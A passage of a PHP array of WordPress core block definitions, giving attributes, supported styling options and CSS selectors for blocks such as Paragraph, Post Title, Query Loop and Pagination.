'submenuVisibility' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'lock' => false, 'inserter' => false, '__experimentalToolbar' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-page-list-editor', 'style' => 'wp-block-page-list' ), 'paragraph' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/paragraph', 'title' => 'Paragraph', 'category' => 'text', 'description' => 'Start with the basic building block of all narrative.', 'keywords' => array( 'text' ), 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'p', 'role' => 'content' ), 'dropCap' => array( 'type' => 'boolean', 'default' => false ), 'placeholder' => array( 'type' => 'string' ), 'direction' => array( 'type' => 'string', 'enum' => array( 'ltr', 'rtl' ) ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'splitting' => true, 'anchor' => true, 'className' => false, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, 'textColumns' => true, 'textIndent' => true, '__experimentalFontFamily' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalWritingMode' => true, 'fitText' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalSelector' => 'p', '__unstablePasteTextInline' => true, 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'root' => 'p', 'typography' => array( 'textIndent' => '.wp-block-paragraph + .wp-block-paragraph' ) ), 'editorStyle' => 'wp-block-paragraph-editor', 'style' => 'wp-block-paragraph' ), 'pattern' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/pattern', 'title' => 'Pattern Placeholder', 'category' => 'theme', 'description' => 'Show a block pattern.', 'supports' => array( 'html' => false, 'inserter' => false, 'renaming' => false, 'visibility' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'textdomain' => 'default', 'attributes' => array( 'slug' => array( 'type' => 'string' ) ) ), 'post-author' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author', 'title' => 'Author (deprecated)', 'category' => 'theme', 'description' => 'This block is deprecated. Please use the Avatar block, the Author Name block, and the Author Biography block instead.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'avatarSize' => array( 'type' => 'number', 'default' => 48 ), 'showAvatar' => array( 'type' => 'boolean', 'default' => true ), 'showBio' => array( 'type' => 'boolean' ), 'byline' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self', 'role' => 'content' ) ), 'usesContext' => array( 'postType', 'postId', 'queryId' ), 'supports' => array( 'inserter' => false, 'anchor' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'filter' => array( 'duotone' => true ) ), 'selectors' => array( 'filter' => array( 'duotone' => '.wp-block-post-author .wp-block-post-author__avatar img' ) ), 'editorStyle' => 'wp-block-post-author-editor', 'style' => 'wp-block-post-author' ), 'post-author-biography' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author-biography', 'title' => 'Author Biography', 'category' => 'theme', 'description' => 'The author biography.', 'textdomain' => 'default', 'usesContext' => array( 'postType', 'postId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-author-biography' ), 'post-author-name' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author-name', 'title' => 'Author Name', 'category' => 'theme', 'description' => 'The author name.', 'textdomain' => 'default', 'attributes' => array( 'isLink' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self', 'role' => 'content' ) ), 'usesContext' => array( 'postType', 'postId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-author-name' ), 'post-comments-count' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-comments-count', 'title' => 'Comments Count', 'category' => 'theme', 'description' => 'Display a post\'s comments count.', 'textdomain' => 'default', 'usesContext' => array( 'postId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-post-comments-count' ), 'post-comments-form' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-comments-form', 'title' => 'Comments Form', 'category' => 'theme', 'description' => 'Display a post\'s comments form.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-post-comments-form-editor', 'style' => array( 'wp-block-post-comments-form', 'wp-block-buttons', 'wp-block-button' ), 'example' => array( 'attributes' => array( 'style' => array( 'typography' => array( 'textAlign' => 'center' ) ) ) ) ), 'post-comments-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-comments-link', 'title' => 'Comments Link', 'category' => 'theme', 'description' => 'Displays the link to the current post comments.', 'textdomain' => 'default', 'usesContext' => array( 'postType', 'postId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'link' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-comments-link' ), 'post-content' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-content', 'title' => 'Content', 'category' => 'theme', 'description' => 'Displays the contents of a post or page.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'attributes' => array( 'tagName' => array( 'type' => 'string', 'default' => 'div' ) ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'layout' => true, 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'dimensions' => array( 'minHeight' => true ), 'spacing' => array( 'blockGap' => true, 'padding' => true, 'margin' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => false, 'text' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-content', 'editorStyle' => 'wp-block-post-content-editor' ), 'post-date' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-date', 'title' => 'Date', 'category' => 'theme', 'description' => 'Display a custom date.', 'textdomain' => 'default', 'attributes' => array( 'datetime' => array( 'type' => 'string', 'role' => 'content' ), 'textAlign' => array( 'type' => 'string' ), 'format' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ) ), 'post-excerpt' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-excerpt', 'title' => 'Excerpt', 'category' => 'theme', 'description' => 'Display the excerpt.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'moreText' => array( 'type' => 'string', 'role' => 'content' ), 'showMoreOnNewLine' => array( 'type' => 'boolean', 'default' => true ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textColumns' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-post-excerpt-editor', 'style' => 'wp-block-post-excerpt' ), 'post-featured-image' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-featured-image', 'title' => 'Featured Image', 'category' => 'theme', 'description' => 'Display a post\'s featured image.', 'textdomain' => 'default', 'attributes' => array( 'isLink' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ), 'aspectRatio' => array( 'type' => 'string' ), 'width' => array( 'type' => 'string' ), 'height' => array( 'type' => 'string' ), 'scale' => array( 'type' => 'string', 'default' => 'cover' ), 'sizeSlug' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string', 'attribute' => 'rel', 'default' => '', 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self', 'role' => 'content' ), 'overlayColor' => array( 'type' => 'string' ), 'customOverlayColor' => array( 'type' => 'string' ), 'dimRatio' => array( 'type' => 'number', 'default' => 0 ), 'gradient' => array( 'type' => 'string' ), 'customGradient' => array( 'type' => 'string' ), 'useFirstImageFromPost' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'align' => array( 'left', 'right', 'center', 'wide', 'full' ), 'color' => array( 'text' => false, 'background' => false ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ), 'filter' => array( 'duotone' => true ), 'shadow' => array( '__experimentalSkipSerialization' => true ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'border' => '.wp-block-post-featured-image img, .wp-block-post-featured-image .block-editor-media-placeholder, .wp-block-post-featured-image .wp-block-post-featured-image__overlay', 'shadow' => '.wp-block-post-featured-image img, .wp-block-post-featured-image .components-placeholder', 'filter' => array( 'duotone' => '.wp-block-post-featured-image img, .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder__illustration, .wp-block-post-featured-image .components-placeholder::before' ) ), 'editorStyle' => 'wp-block-post-featured-image-editor', 'style' => 'wp-block-post-featured-image' ), 'post-navigation-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-navigation-link', 'title' => 'Post Navigation Link', 'category' => 'theme', 'description' => 'Displays the next or previous post link that is adjacent to the current post.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'type' => array( 'type' => 'string', 'default' => 'next' ), 'label' => array( 'type' => 'string', 'role' => 'content' ), 'showTitle' => array( 'type' => 'boolean', 'default' => false ), 'linkLabel' => array( 'type' => 'boolean', 'default' => false ), 'arrow' => array( 'type' => 'string', 'default' => 'none' ), 'taxonomy' => array( 'type' => 'string', 'default' => '' ) ), 'usesContext' => array( 'postType' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'link' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-post-navigation-link' ), 'post-template' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-template', 'title' => 'Post Template', 'category' => 'theme', 'ancestor' => array( 'core/query' ), 'description' => 'Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.', 'textdomain' => 'default', 'usesContext' => array( 'queryId', 'query', 'displayLayout', 'templateSlug', 'previewPostType', 'enhancedPagination', 'postType' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'align' => array( 'wide', 'full' ), 'layout' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, 'blockGap' => array( '__experimentalDefault' => '1.25em' ), '__experimentalDefaultControls' => array( 'blockGap' => true, 'padding' => false, 'margin' => false ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'style' => 'wp-block-post-template', 'editorStyle' => 'wp-block-post-template-editor' ), 'post-terms' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-terms', 'title' => 'Post Terms', 'category' => 'theme', 'description' => 'Post terms.', 'textdomain' => 'default', 'attributes' => array( 'term' => array( 'type' => 'string' ), 'separator' => array( 'type' => 'string', 'default' => ', ' ), 'prefix' => array( 'type' => 'string', 'default' => '', 'role' => 'content' ), 'suffix' => array( 'type' => 'string', 'default' => '', 'role' => 'content' ) ), 'usesContext' => array( 'postId', 'postType' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-terms' ), 'post-time-to-read' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-time-to-read', 'title' => 'Time to Read', 'category' => 'theme', 'description' => 'Show minutes required to finish reading the post. Can also show a word count.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType' ), 'attributes' => array( 'displayAsRange' => array( 'type' => 'boolean', 'default' => true ), 'displayMode' => array( 'type' => 'string', 'default' => 'time' ), 'averageReadingSpeed' => array( 'type' => 'number', 'default' => 189 ) ), 'supports' => array( 'anchor' => true, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'post-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-title', 'title' => 'Title', 'category' => 'theme', 'description' => 'Displays the title of a post, page, or any other content-type.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 2 ), 'levelOptions' => array( 'type' => 'array' ), 'isLink' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ), 'rel' => array( 'type' => 'string', 'attribute' => 'rel', 'default' => '', 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self', 'role' => 'content' ) ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-title' ), 'preformatted' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/preformatted', 'title' => 'Preformatted', 'category' => 'text', 'description' => 'Add text that respects your spacing and tabs, and also allows styling.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'pre', '__unstablePreserveWhiteSpace' => true, 'role' => 'content' ) ), 'supports' => array( 'anchor' => true, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-preformatted' ), 'pullquote' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/pullquote', 'title' => 'Pullquote', 'category' => 'text', 'description' => 'Give special visual emphasis to a quote from your text.', 'textdomain' => 'default', 'attributes' => array( 'value' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'p', 'role' => 'content' ), 'citation' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'cite', 'role' => 'content' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'left', 'right', 'wide', 'full' ), 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'color' => array( 'gradients' => true, 'background' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'dimensions' => array( 'minHeight' => true, '__experimentalDefaultControls' => array( 'minHeight' => false ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), '__experimentalStyle' => array( 'typography' => array( 'fontSize' => '1.5em', 'lineHeight' => '1.6' ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-pullquote-editor', 'style' => 'wp-block-pullquote' ), 'query' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query', 'title' => 'Query Loop', 'category' => 'theme', 'description' => 'An advanced block that allows displaying post types based on different query parameters and visual configurations.', 'keywords' => array( 'posts', 'list', 'blog', 'blogs', 'custom post types' ), 'textdomain' => 'default', 'attributes' => array( 'queryId' => array( 'type' => 'number' ), 'query' => array( 'type' => 'object', 'default' => array( 'perPage' => null, 'pages' => 0, 'offset' => 0, 'postType' => 'post', 'order' => 'desc', 'orderBy' => 'date', 'author' => '', 'search' => '', 'exclude' => array( ), 'sticky' => '', 'inherit' => true, 'taxQuery' => null, 'parents' => array( ), 'format' => array( ) ) ), 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'namespace' => array( 'type' => 'string' ), 'enhancedPagination' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'templateSlug' ), 'providesContext' => array( 'queryId' => 'queryId', 'query' => 'query', 'displayLayout' => 'displayLayout', 'enhancedPagination' => 'enhancedPagination' ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'layout' => true, 'interactivity' => true ), 'editorStyle' => 'wp-block-query-editor' ), 'query-no-results' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-no-results', 'title' => 'No Results', 'category' => 'theme', 'description' => 'Contains the block elements used to render content when no query results are found.', 'ancestor' => array( 'core/query' ), 'textdomain' => 'default', 'usesContext' => array( 'queryId', 'query' ), 'supports' => array( 'anchor' => true, 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'query-pagination' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination', 'title' => 'Pagination', 'category' => 'theme', 'ancestor' => array( 'core/query' ), 'allowedBlocks' => array( 'core/query-pagination-previous', 'core/query-pagination-numbers', 'core/query-pagination-next' ), 'description' => 'Displays a paginated navigation to next/previous set of posts, when applicable.', 'textdomain' => 'default', 'attributes' => array( 'paginationArrow' => array( 'type' => 'string', 'default' => 'none' ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ) ), 'usesContext' => array( 'queryId', 'query' ), 'providesContext' => array( 'paginationArrow' => 'paginationArrow', 'showLabel' => 'showLabel' ), 'supports' => array( 'anchor' => true, 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-query-pagination-editor', 'style' => 'wp-block-query-pagination' ), 'query-pagination-next' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-next', 'title' => 'Next Page', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays the next posts page link.', 